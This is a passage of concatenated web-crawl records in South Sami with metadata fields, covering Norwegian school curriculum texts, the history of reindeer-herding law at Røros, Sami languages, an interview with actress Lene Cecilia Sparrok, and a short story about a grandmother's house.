jïh vihtiestieh dah leah faamosne.\nRepresentasjovne jïh gaskesadteme\nRepresentasjovnh matematihkesne leah vuekieh guktie matematihken baakoetjïerth, ektiedimmieh jïh dåeriesmoerh vuesehte. Representasjovnh maehtieh konkreete, kontekstuelle, visuelle, verbaale jïh symbovles årrodh. Gaskesadteme matematihkesne sæjhta jiehtedh learohkh matematihkeles gïelem nuhtjieh soptsestalleminie, argumentasjovnesne jïh resonnementesne. Learohkh tjuerieh nuepiem åadtjodh matematihkeles representasjovnh nuhtjedh ovmessie ektiedimmine, jïjtsh dååjrehtimmiej jïh matematihkeles soptsestallemi tjïrrh. Learohkh tjuerieh nuepiem åadtjodh sijjen veeljemem representasjovnehammoste tjïelkestidh. Learohkh tjuerieh maehtedh matematihkeles representasjovni jïh biejjieladtje gïelen gaskem jarkoestidh, jïh ovmessie representasjovni gaskem målsodh.\nAbstraksjovne jïh generaliseereme\nAbstraksjovne jïh generaliseereme\nAbstraksjovne matematihkesne sæjhta jiehtedh learohkh ånnetji ånnetji formaliseeremem evtiedieh åssjaldahkijste, strategijijste jïh matematihkeles gïeleste. Evtiedimmie aalka konkreete buerkiestimmiejgujmie jïh jåarhka byjjes symbovlegïeline jïh byjjes resonnementigujmie. Generaliseereme matematihkesne sæjhta jiehtedh learohkh ektiedimmieh jïh struktuvrh vueptiestieh, jïh eah ajve gaervies loetemem åadtjoeh. Daate sæjhta jiehtedh learohkh maehtieh taalh, ryöknedimmieh jïh figuvrh goerehtidh juktie ektiedimmieh gaavnedh, jïh dan mænngan formaliseeredh viehkine algebraem jïh maereles representasjovnh nuhtjedh.\nMatematihkeles daajroesuerkie\nDoh matematihkeles daajroesuerkieh leah taali jïh taalegoerkesen, algebraen, funksjovni, geometrijen, statistihken jïh saetniesvoetenuepien bïjre. Learohkh tjuerieh varke hijven baakoetjïerth taali bïjre åadtjodh, jïh åadtjodh jeereldihkie ryöknemestrategijh evtiedidh. Algebra lea struktuvrh, möönsterh jïh relasjovnh goerehtidh, jïh lea vihkeles eaktoe ihke learohkh edtjieh maehtedh generaliseeredh jïh modelleeredh matematihkesne. Funksjovnh learoehkidie vihkeles dïrregem vedtieh juktie jarkelimmiem jïh evtiedimmiem goerehtidh jïh modelleeredh. Geometrije lea vihkeles ihke learohkh edtjieh hijven rommegoerkesem evtiedidh. Daajroe statistihken jïh saetniesvoetenuepien bïjre hijven våaromem learoehkidie vadta gosse edtjieh veeljemh darjodh jïjtsh jieliedisnie, seabradahkesne jïh barkoejieliedisnie. Daajroesuerkie våaromem vadta maam learohkh daarpesjieh juktie matematihkeles goerkesem evtiedidh gosse ektiedimmieh goerehtieh matematihkeles daajroesuerkiej sisnjeli jïh gaskem.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/mat01-05\/om-faget\/kjerneelementer?lang=sma","date":"2023-03-23T15:26:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945168.36\/warc\/CC-MAIN-20230323132026-20230323162026-00361.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":491,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BÅATSOELAAKE\nBÅATSOELAAKE\n\"Jeg tror i henhold hertil, at herredstyrelsens andragende (…) bør gå ud paa at erholde det offentliges bistand til en afgjørelse af de lokale grænser for lappernes felt, enten gjennem en kgl. kommisjon eller gjennem befaring af en offentlig dertil autoriseret mand, hvis udtalelse kunne danne grundlaget for en distriktsinddeling.\"\nOverretssagfører Samuel Johnson i brev til ordfører Bergan i Røros, 1887\nJaepien 1751 båatsoen reaktah gorresovvin raastedajvine Nöörjen jïh Sveerjen gaskem Lappekodisillen tjïrrh. 1751 raejeste 1800-låhkoen minngiegietjien raajan læjhkan stoerre jarkelimmieh vuajnojne saemien åålmegen vööste sjugniehtovvin, naakede mij aaj vååjnesasse bööti laakine. 1890-låhkoen byögkelesvoete radtjoes dahkoeh darjoeji. Byögkelesvoete båatsoesïjth tseegki jïh ektie maaksoedïedtem sjïehtesji. Båatsoen gåatomereaktah mah lin provhken mietie tseegkeme geahpanin dejnie orre reguleradimmine, mij aevhkine sjïdti jåartaburrien ïedtjide.\nBÅATSOELAAKE – GIEJTIE?\n1850-låhkoen saemieh rïekteles dåarjelimmiem åadtjoeji krïevenassesne gåatomelaanten bïjre akten guhkies åtnoen gaavhtan. 1800-låhkoe doekoe nasjovnebigkeme Nöörjesne lij tjarke læsseneminie, jïh nöörjen kultuvre edtji dïhte aajne jïh tjïelke kultuvre årrodh. Saemien åålmege ahkedh vielie vuajnalgi goh ammes, jïh nöörjen båanta gïeregasse bïejesovvi. Tjuara laakide 1800-låhkoen minngiegietjeste tjoevkesisnie daehtie politihkeste vuejnedh.\nDennie laakesne ruffien 2. biejjeste 1883, mij gohtjesåvva Fælleslappeloven; Lov av 2. Juni 1883 angaaende Lapperne i de forenede Kongeriger Norge og Sverige, dïhte orre politihke vååjnesasse bööti. Mearan aarebi lin båatsoen provhkereaktam krööhkestamme, dle laake jaepeste 1883 ulmine utni jåartaburrien evtiedimmiem gorredidh. Rørosen dajvesne båantah tjirkijh Stoerredigkesne utnin mah dej ïedtjh bööktin.\nRørosen tjïelteståvroe \/ lij aaj dejstie mah eadtjohkelaakan barki juktie saemiej reaktam båatsoegåatomedajvide gaertjiedidh. Jaepien 1888 skraejriem veeltin akten barkose mij ojhte vuajnoem saemiej histovrijasse jarkaji, jïh destie aaj provhkereaktese dajvesne. Digkiedimmie saemiej histovrijen bïjre Rørosen dajvesne læssani, jïh tjïelteståvroe jïh jåartaburrien årrojh viehkiem åadtjoejin dovne daejremevoeten bieleste jïh staateles åejvieladtjijste.\nJaepien 1889 Lappekommisjovne tseegkesovvi. Kommisjovne edtji raasth båatsoesïjtide raeriestidh jïh aktem \"Öörnegem\" gaavnedh dan tseahkan saemiej jïh voenenårroji gaskem. Kommisjovne idtji saemien lïhtsegh utnieh.\nJaepien 1894 båatsoesïjth Rørosen dajvesne tseegkesovvin, jïh båatsoealmetjh tjåenghkies dïedtem åadtjoejin gaajhki gåatomeskaaraj åvteste. Daehtie miereste båantah slyöhpin vihtiestidh guhte daejstie båatsoealmetjijstie mij edtji dïedtem vaeltedh skaaraj åvteste. \"Öörnege\" sjïdti amma båatsoem gaertjiedidh olles dïhte evtiedimmiem jåartaburresne heerredh.\nBåatsoesïjte\nDaan beajjetje öörnege båatsoesïjtigujmie lea illedahke 1800-låhkoen laakijste jïh stuvrehtimmeste. Dovne lappekommisjovne jaepeste 1889 myöti öörnege lij akte aevhkie båantide jïh nåakevoete saemide.\nGosse båatsoesïjth tseegkesovvin, dellie lij uvtemes hoksedh jåartaburrieh maaksoem åadtjoeji skaaraj åvteste mejtie bovtse lij dorjeme sïjti sisnjeli. Ulmie ij lij uvtemes båatsoen gåatomelaantem stuvrehtidh, men jåartaburrien reaktah jïh baalhkah gorredidh vihties dajvi sisnjeli.\nLaake Tilleggslappeloven jaepeste 1897 lij striengkiesåbpoe jïh vihtiesti båatsoe båatsoesïjten ålkolen lij luhpehts bielelen dajveaajhterem luhpie.\nÖörnege båatsoesïjtigujmie jïh tjåenghkies maaksoedïedtine lea annje faamosne.\n\"Distriktsinddelingen medfører derfor store Fordele for de Fastboende, medens Lapperne stilles under Kontrol og paalægges Byrder.\"\n– Lappekommisjonen av 1889.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/rorosmuseet.no\/baatsoelaake","date":"2023-03-23T11:59:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945144.17\/warc\/CC-MAIN-20230323100829-20230323130829-00705.warc.gz","language":"sma","language_score":0.9999181032,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999181032180786}","num_words":424,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne tjaelieminie, mujhtieh dellie gïele edtja hijvenlaakan juhtedh. Mujhtieh eensi jïh ellies raajesh bigkedh. Aellieh fer geerve jïh guhkies raajesh bigkh. Gosse datne aelhkieslaakan tjaalah jïh raajesidie eensilaakan bigkh dellie aelhkie dov teekstem lohkedh.\nDaesnie datne lïerh guktie maahtah boelhkem tjaeledh. Mujhtieh dov argumenth edtjieh vååjnesasse båetedh.\n1. laavenjasse\nVuartesjh daejtie göökte boelhkide. Mij nåake voestes boelhkine jïh mij buerie mubpine boelhkine?\nVuesiehtimmie 1: Buerkiestimmie novelleste\nNovella lea giefies almetji bïjre Oslosne dejpeli, jïh dellie lij sïejhme dan bïjre tjaeledh. Guktie klaerieh nuhtjeme viehkehte, gaajhke kraevies jïh tjeehpes. Goh byjrese jïh guktie almetjh bïhkedamme. Guktie åejvie-almetje noerine barkeme jïh iktesth soevene. Aajmoe ovmurreds sjædta.\nVuesiehtimmie 2: Seamma buerkiestimmie jeatjah baakoejgujmie\nNovella soptseste giefies almetji bïjre Oslosne dejpeli. Joekoen sïejhme lij dan bïjre tjaeledh. Teema buerebe vååjnesasse båata gosse tjaelije klaerie-baakoeh nuhtjie. Klaerieh goh tjeehpes jïh kraevies gellien aejkien teekstesne nuhtjesovveme, jïh baakoeh goh mïerhke jïh ovmurreds aajmoem skaepiedieh. Dovne byjrese-buerkiestimmie jïh buerkiestimmie åejvie-almetjistie viehkiehtieh guktie dïhte ovmurreds aajmoe vååjnesasse båata. Baernie gidtjh iktegisth soevene.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:abc4aa51-8cc3-47a3-902b-f3e10a453fac\/resource:07154ed1-7470-4a9e-953d-caebb2ec60fa","date":"2023-03-24T09:39:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00753.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":162,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïele- ij leah ajve akte gïele menh jeenjebh smaaregh\nIj leah barre akte saemiengïele, menh uktsie joekehth smaaregh mah muvhtene aejkien joekehth gieline gohtjesuvvieh. Vïenhtesåvva daah gïelh saemiensoemen aalkoegieleste mij soptsesovvi 4000 jaepieh dan åvtelen.\nDah saemien gïelh soemeugriske gïelefuelhkesne. Vuesiehtimmien gaavhtan dle såevmie, etniske, karelska, ungerengïele jïh gellie smaave gïelh Russlaantesne goh mansi, komi jïh mordvinske leah seamma såeleste. Gïeledotkije åtna saemien gïele jïh såevmien gïele seamma histovrijes maadtoem utnieh mah soptsesovvi 4 000 jaepieh dan åvtelen. Daan gieleste protosaemien jïh protosåevmien evtiesovvi medtie 3000 jaepieh dan åvtelen. Aerviedåvva saemiengïele lij aalkoeraejeste akte åejviegïele jïh dan mænngan dejtie joekehth gielide jallh smaaregidie seerkeme 800 taalen Kr.m.\nVïjhte dåhkasjehteme ortografijh\nGååvnese uktsie saemien gïelh, åarjielistie: åarjelsaemien, umesaemien, pijtesaemien, luvliesaemien, noerhte saemieh jïh daah luvlemes saemien gïelh goh enaresaemien skoltesaemien, kildinsaemien jïh tersaemien. Guktie jiehtebe dle joekehtse daej saemien gïeli gaskem leah seamma stoerre joekehtse goh nöörjengïelen, sveerjengïelen jïh danskegïelen gaskem.\nDaan biejjien dle gååvnese vïjhte dåhkasjehteme saemien ortografijh Sveerjesne. Ortografije bïhkedåvva goh tjaaleldh gïelen njoelkedassh jïh saemien gielesne dle daah daaletje tjaelemenjoelkedasside bigkesovveme daj baakoej tjoejemen mietie. Åarjelsaemien tjaaleldhgïele (ortografije) nænnoestovvi jaepien 1978., noerhtesaemien(1979), luvliesaemien (jaepien 1983) jïh umesaemien (dåhkasjehti jaepien 2016). Pijtesaemien (Arjeplog) lea aaj mïetsken 20 b. 2019 raejeste jïjtse ortografijem Sveerjesne jïh Nöörjen raedtesne åtneme.\nTjaaleldh gïele\n1600 taalen aalkoevisnie daah voestes gærjah tjeelesovvi saemien gïelesne Sveerjen raedtesne. Daate religijööse tjaalege mij dennie missjovnebarkosne saemiej luvnie utnin. 1700 taaleste jïh åvtese 1800 taalen raajan dle jeenjemes tjaaleldh tjaalegh umesaemien gïelesne. Nöörjen raedtesne dle jeenjemes tjaaleldh tjaalegh noerhtesaemien gïelesne jïh jaepien 1728 voestes katekese noerhtesaemiengïelesne bööti.\nSijjienommh\nSijjienommh dovne dam saemiengïelem jïh histovrijem bihkede. Sijjienommh nænnoste saemieh daej dajvine guhkiem dan åvtelen orreme. Sijjienommh vihkeles identiteetese jïh daerpies ektiedimmiem jïh jearsoesvoetem damtedh. Sijjienommh aaj nænnoste saemien gïele vihkeles seabradahkese. Gosse gïelem nuhtjedh dle gïelen statusem nænnoste jïh joekoen vihkeles dejtie båetije boelvide. Tsieglh geajnoeraejkien mietie jïh jeatjah tsieglh leah maanaj voestes lohkemegærjah. Gïelejealajimmiebarkosne joekoen vihkeles sijjienommide nuhtjedh jïh gåhtsajehtedh.\nSijjieh veadta eatnamasse jïh mentaale soptsestimmiej\/ gïelen tjirrh. Sijjie aarvoem åtna, histovrijem jïh aaj nommem. Bïjre jarkan Saepmesne dle joekehth sijjienommelohkehtimmieh. Menh daej lohkehtimmiej ulmie lea sijjinommide jealajehtedh jïh dejtie gåhtsajehtedh.\nJoekoen vihkeles rïektes ortografijem nuhtjedh, juktie dah mah leah ovnohkens dajvesne maehtieh kaarhtine syökedh jïh ohtsedh. Vihkeles aaj dovne buelemeålmide, skïemtjebïjlide jïh lienhtside gåessie dah edtjieh dahkoe mïnnedh. Maahta sijjienommide joekehth laakan tjaeledh jallh jorkesovvedh dej joekehth smaareginie. Sijjien nommh maehtieh aaj boelhkeste boelhkese jorkesovvedh, jïh dan gaavhtan vihkeles Kartsøk:sne ohtsedidh, lantmäterijen kaarhtesne gaskeviermesne.\nReereme jïh tjïelth edtjieh nommide nuhtjedh maam Lantmäteriet lea dåhkasjehteme. (4§ God ortnamnssed i Kulturmiljölagen).\nLohkh vielie dej saemien gïeli bïjre isof.se sæjrosne jïh daennie sæjrosne samer.se jïh Sametinget.se ( sijjienommi bïjre).\nGaaltije: isof jïh Saemiedigkie.se","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sanningskommissionensamer.se\/sma\/aalkoealmetjh-saemiej-bijre\/saemien-giele\/","date":"2023-05-30T20:14:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224646144.69\/warc\/CC-MAIN-20230530194919-20230530224919-00589.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":427,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Englaantengïele (ENG01‑04)\nDåaresthfaageles teemah\nAlmetjehealsoe jïh jieledehaalveme\nFaagesne englaantengïele dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme edtja learoehkidie viehkiehtidh jïjtjemse evtiedidh tjaaleldh jïh njaalmeldh englaantengïelesne soptsestidh. Daate våaromem vadta jïjtsh domtesh, åssjaldahkh, dååjrehtimmieh jïh mïelh buektedh. Lïerehtimmie maahta orre perspektijvh ovmessie ussjedimmievuekide jïh gaskesadtememöönsteridie vedtedh, jïh jïjtsh jïh mubpiej jieledevuakan jïh jieledetseahkan. Tsiehkieh gïetedidh mah gïele- jïh kultuvremaahtoem kreava maahta learoehkidie haalvemedomtesem vedtedh jïh viehkiehtidh guktie positijve jïjtjeguvviem jïh jearsoe identiteetem evtiedieh.\nDemokratije jïh meatanårrojevoete\nEnglaantengïelesne dåaresthfaageles teema demokratije jïh meatanårrojevoete edtja learohki goerkesem evtiedidh ihke dej vuajnoe veartenistie lea jearohke kultuvreste. Gosse englaantengïelem lierieh learohkh maehtieh ovmessie seabradahkh jïh kultuvrh gaavnesjidh gosse maehtieh mubpiejgujmie gaskesadtedh abpe veartenisnie, saaht mehtie gïeleldh jïh kulturelle maadtoste gaajhkesh båetieh. Daate maahta jienebh vuekieh vedtedh veartenem toelhkestidh, viehkiehtidh tjetskehkevoetem jïh eadtjohkevoetem sjugniedidh, jïh meatan årrodh åvtelhaarvoeh hööptedh.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-05-31T19:57:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224647409.17\/warc\/CC-MAIN-20230531182033-20230531212033-00245.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":132,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filme-festivaalesne Japanisnie «SamebIod» dorjehtæjja Lene Cecilia Sparrok (19) gihtjelgi gusnie altese jielede-vaeptie lea ...\nAkte guhkies vuerteme-tïjje lea nåhkeme. Daelie dïhte orre saemien filme «Saemien vïrre» aktem ståantem jårreme kinovisnie dovne Nöörjesne jïh Sveerjesne.\nÅejvie-råållan aajhterasse Lene Cecilia Sparrok dle heamture joe tjaktjen 2016 eelki. Dïhte guessine mïnni filme-festivaaleste festivaalese Noerhte-Amerijhkesne, Europesne jïh Asiesne.\nGOSSE MIJJIEH dejnie soptsestibie dle dïhte joe hïnneme filmem vïjhth vuejnedh.\nIm vïenhth manne edtjem dam vielie vuejnedh daelie, Lene Cecilia föörhkede. Dle måjhtije satne tjuara dam göökth vielie vuejnedh vuesiehtimmiej sjïekenisnie.\nDan mænngan im edtjh filmem vielie vuejnedh gænnah!\nDïhte varke föörhkede.\n– Ånnetji hov vïssjehtåvva. Men im leah vaanesoeveme jïjtjemem filmesne vuejnedh. Annje rovnege. «ElIe Marja» maam manne spealedem, ij leah manne goh!\nTÏJJE VAASEME joekoen varke Laakesvuemie-nïejtese dan minngemes jaepien. Dæjmetje gïjren jåarhke-skuvlem Kråangkesne illi. Desnie linjam hammoedimmie jïh vætnoe veedtsi voestes jaepien. Mubpien jaepien lij aajnehke learohke duedtie-linjesne.\n– Manne lim mån Noerhte-Trööndelagen dovremes learohke. Haha. Men joekoen hijven tråjjadim. Manne jïjtjene lohkehtæjjam utnim jïh joekoen jïjnjem lïerim.\n– Manne eahtsam gåarodh jïh Iyjhkem jïjtjemem feegredh. Tjåanghkan mov leah 11 gaptah.\nDELLIE GIESIE jïh tjaktje böötin. Dïhte sæjjasadtje-barkijinie barki healsoe-dïenesjisnie tjïeltesne eevre goske «Saemien vïrre» veartene-premijeerem utni Veneziesne skïereden, jïh sov fealadimmine eelki bïjre jarkan veartenisnie.\nFaahketji premijeerh, rööpses guelpie-jievegh jïh autograafe-tjaelemem soejkesjisnie utni. Men ij sïjhth mietedh satne naan filme-naestie.\n– Naakenh leah jeahteme «daelie datne kjendise sjïdteme», men im manne numhtie damth goh. Annje leam ajve Lene Cecilia.\nMEN GOSSE festivaale Tokyo International Film lij gålkoen dle dam gïetedi goh akte naestie.\nVuesiehtimmien mænngan filmeste «Saemien vïrre» dle dïhte jïh scene-bïhkedæjja Amanda Kernell åadtjoejigan daejredh naakenh sïjhtin dejtie råakedh. Lene Cecilia veanhtadi dagke göökte almetjh.\nSagke jienebh.\n– Ålkoelisnie gellie almetjh mah lin mijjem vuertieminie! Dah sïjhtin autograafem utnedh. im lim manne dejnie vaane goh. Im lim haarjanamme autografh tjaeledh goh. Manne ajve mov sïejhme signatuvrem tjeelim maam provhkem darjodh, föörhkede.\n– Naaken aaj gihtji «gusnie mov jielede-vaeptie lea». Dah lin gujht govleme akte dorjehtæjja edtji Nöörjeste båetedh.\n– ABPE DÅÅJRESE Japanistie lea naakede dehtie rovnegistie maam manne leam dååjreme! Men aaj joekoen luste.\n– Jïh goh ellen bööremes dle datne åasam vitnih goh bööremes nyjsenen dorjehtæjja! Daate akte åasa maam jeatjah åehpies dorjehtæjjah leah vitneme dov åvtelen. Guktie datne dam dååjrih?\n– Stoerre hïehpenasse munnjien! Måjhtam manne lim ussjedamme destie vaedtsedh eevre åvtelen dah edtjin vitnijem bïeljelidh. Manne bårrestohtim jïh sïjhtim gaavnedh maam akt byöpmedidh. Juktie im lim veanhtadamme dah edtjin mov nommem tjåarvodh.\n– Raaktan im mejtegh gænnah mujhtieh dehtie raejeste manne bæjjese scenese veedtsim!\nLENEN dorjehtæjja-prestasjovnh jïh jïjtjehke filme leah sån jeenjesidie tsavtseme. Filme lea dan 14 jaepien båeries nïejten bïjre «Elle Marja» mij saemien internaate-skuvlesne vaadtsa 1930-låhkoen, onne-åabpine ektine man nomme «Njenna».\nSoejkesjen mietie «ElIe Marja» edtja fuelhkien båatsojne jåerhkedh, men dïhte raaktan akten jeatjah jieleden bïjre nïekede guhkene dubpielisnie.\nGosse learohkh akten biejjien tjuerieh meatan årrodh såemies raase-biologeles goerehtimmine, «Elle Marja» nuekies åådtje jïh sov saemien identiteeteste baatere jïh gaskesem tsööpkie onne-åabpine jïh abpe fuelhkine.\n– PERSOVNELES im lim sïjhteme seammalaakan darjodh, Lene Cecilia jeahta sov karakteeren bïjre.\n– Men «ElIe Marja» lea mavvas mij dam dorje. Ussjedh maam sårkojde lij orreme, aktem eevre jeatjah almetjem sjïdtedh naemhtie, jïh gaskesem tsööpkedh onneåabpine jïh fuelhkine.\nALTESASSE ij lij gåaradamme naemhtie darjodh. Onne-åabpa Mia lea altese bööremes voelpe, jïh Mia aaj onne-åabpam «Njenna» filmesne spealede.\n– Akte haesteme lij karakteerine årrodh jïh seamma tïjjen åerpenh spealadidh?\n– Ijje, ij lij numhtie goh. Vïerrebe goh rïektesisnie, men læjhkan joekoen iemie domti.\n– Mijjieh mih aktem sïejhme åerpene-tsiehkiem utnebe, mijjieh vaarjoeh sinsitneste löönebe jïh jïjnjem klaaterdibie, föörhkede.\n– MEN GÅABPEGH MIJJIEH maehtebe joekoen måsnoeh årrodh aereden. Lissine guhkies biejjieh utnimh mearan filmem sïjse spealadimh, jïh dellie Mia meehti reesmesovvedh dastegh replihkh åajaldim. «Lene, voejhkelh amma», meehti jiehtedh,\n– Dagke ij lij dan rovnege dan åvteste dïhte aaj mov replihkh måjhtaji. Mia joekoen væjkele jïh vielie dorjehtæjja-dååjrehtimmiem åtna goh manne!\nMEJTIE jienebh dorjehtæjja-dååjrehtimmieh sjidtieh Lene Ceciliase, åadtjobe vuertedh vuejnedh. Jåvli åvteli eksamenem veelti båatsosne jïh lïerehtæjjine sjïdti. Stoerre nïekedasse lea båatsosne jieledh. Raaktan «Elle Marjan» vuestie-bielie.\n– Båatsoe akte stoerre bielie mov identiteeteste. Ij leah mij akt maam lim sïjhteme laehpedh. Akte fuelhkien-aerpie maam manne aaj sïjhtem mov maanide vedtedh båetijen aejkien.\n– Åadtjobe datnem vuejnedh goh dorjehtæjjah jienebh aejkieh?\n–Åadtjobe vuejnedh gosse abpe stadtjoe «Saemien vïrre»-filmen bïjre lea nåhkeme, mejtie dam ohtselem. Men gie daajrah? Tïjje åådtje vuesiehtidh...\nDEEJRIH...?\n.. Lene Cesilia goh onne nïeje vaajteli satne lij noerhtegassje guktie dellie dïhte lij aaj maahteme jïjtjemse feegredh jïjnji sïlpigujmie gaptese. Dïhte eahtsa bling bling!\n... Lene Cesilia tjoeri hair extensions nuhtjedh filmesne dan åvteste satne fer åenehks voepth utni?\n...Lene Cesilia (gaatesejn baernieh) ij leah oktegh?\n... Lene Cesilia jïjtjemse buerkeste goh eahtsa gåetesne årrodh, lea sjollije jïh mubpide pryöjjede. Lissine lyjhkoe ålkone årrodh, föörhkedidh jïh geerjene årrodh. Men jis ij åadtjoeh nuekie åeredh, dellie mosne!\nBaakoe\nSaemien\nDaaroen\njielede-vaeptie\nlivvakt","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:8b8e1139-e745-4a35-ac43-c408d90b6467\/resource:6e6fad7a-943b-4cec-b898-e8f4ac8d54d1","date":"2023-06-02T02:12:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648245.63\/warc\/CC-MAIN-20230602003804-20230602033804-00484.warc.gz","language":"sma","language_score":0.9999899864,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999899864196777}","num_words":775,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irja Danielsen daam novellam tjaaleme, jïh daan novellan nomme Mov aahkan jïjnjh tjïehtjelh.\nMov aahkan gåetesne jïjnjh tjïehtjelh\nManne aahkan luvnie. Dïhte prïhtjegem jïh gaahkoem voejine munnjien dorjeme. Daelie manne tjahkesjem byöpmedeminie. – Maam datne daan biejjien dorjeme Aanna? Manne tuhtjem hijven aahkine årrodh naan aejkien. Dïhte dan, jaa, joeleds jïh baaja mannem oktegh årrodh. – Ij goh jïjnje. Åareme jïh ånnetji datovrine gïehtelamme.\nGosse manne lim nuerebe, manne daamhtah daesnie åeriejim. Mov aahkan stoerre gåetie, dïhte kraevies jïh vesties ålkone, jïh vååjnoe goh galmes, gaajh båeries gåetie. Jis ih daejrieh naaken gåetien sisnie årroeminie, ih dam vuejnieh, bene manne daajram aahka desnie orre. Gåetien jïjnjh tjïehtjelh, datne edtjh daejredh ... Naan aejkien manne provhkem aahkam gihtjedh mejtie dïhte maahta munnjien aktem orre tjïehtjelem vuesiehtidh. Manne gellien aejkien dam gihtjeme, jïh manne jïjnjh tjïehtjelh vuajneme, bene manne barre vuajneme naaken dejstie. Aahka fïerhten aejkien aktede tjïehtjelistie båata gosse manne båatam, jïh manne eeremasth sïjhtem dam tjïehtjelem vuejnedh. Mov aahka lea tjeakoes. Naaken orre, fïerhten aejkien aahkine ... Manne aehtjiem akten aejkien gihtjim mij aahkan faatoes. Aehtjie raakte måarehks sjïdti jïh fuehpesne vaestiedi: – Ij leah aahka goh jeatjah almetjh. Kaanne dan åvteste manne tuhtjem dan luste aahkan luvnie årrodh aaj.\nManne riejries byöpmedidh jïh manne mov bæjngoldsvaarjoeh tsaakam. – Nåå nåå aahka, manne dallegh vihth båatam guessine dov gåajkoe. Manne govlem aahka vaestede «nåå nåå» jïh manne oksem gaptjem.\nManne gåatan vaadtsam. Gåetesne skohtelem goh sïejhme. Tjidtjie gæljoeji: – Datne dïhte Aanna? – Mmm ... manne vaestedem. Manne tjöövkese vaadtsam jïh ohtje tjaetsiem jovkem. Åabpa Silje båata jïh gihtjie mejtie månnoeh edtjien maam akt darjodh. – Jaa dallegh, manne tjoerem barre voestegh byöpmedidh. – Maam datne aahkan luvnie dorjeme? – Ij dan jïjnjem, byöpmedamme. Manne jïh Silje föörhkedien. Manne ussjedem manne barre byöpmedamme daan biejjien. – Jïh datne? Aahka naan aejkien dutnjien naan tjïehtjelem vuesiehtamme? Manne rontestallem maam aahka abpe tïjjen dorje sov tjïehtjelisnie. Fïerhten aejkien båatam, dïhte sov tjïehtjelistie båata jïh gosse manne sïjhtem vuejnedh maam dïhte darjoeminie, dïhte jeahta «ijje» jïh aalka man akt jeatjeben bïjre soptsestidh. Manne sïjhtem daejredh!\nSilje raakte seamma båeries mannine jïh månnoeh abpe jieledem hijven voelph orreme. Månnoeh jïjnjem ektesne pruvhkien darjodh. Fiestese vuelkedh, bovtsh deemedh, bååhkesjidh jïh jienebem. Manne jïh mov åabpa aktene provne gåetesne orreme monnen tjidtjine jïh aehtjine. Manne luhkie-golmen jaepien båeries. Manne akte nïejte goh gaajhkh jeatjebh nïejth mah luhkiegolme. Jallh manne kaanne ånnetji ov-sïejhme? Manne hov tuhtjem luste aahkan luvnie daan baelien årrodh. Manne dam aerebe aaj tuhtjim, bene ij goh daelie ...\nSilje joe ålkone jïh manne varki gåårvedem jïh olkese vaadtsam. –Manne ussjedem mov råantjoem vuejedh, sïjhth mannem viehkiehtidh? Månnoeh geasastahkem geasastehtien jïh gierehtsem joksedien. Siljen klovse-råantjoe varki aalka hajkedh jïh dïhte hijven gåaradi. Dellie joe jemhkelde jïh månnoeh tjuerien gåatan vihth vaedtsedh.\nDan iehkeden manne ussjedim jïh rontestallim aahkan tjeakoes tjïehtjelen bïjre. Jïh gosse manne tjuedtjielamme minngeben biejjien, manne aahkese ringkem gihtjem mejtie manne maahtam båetedh. 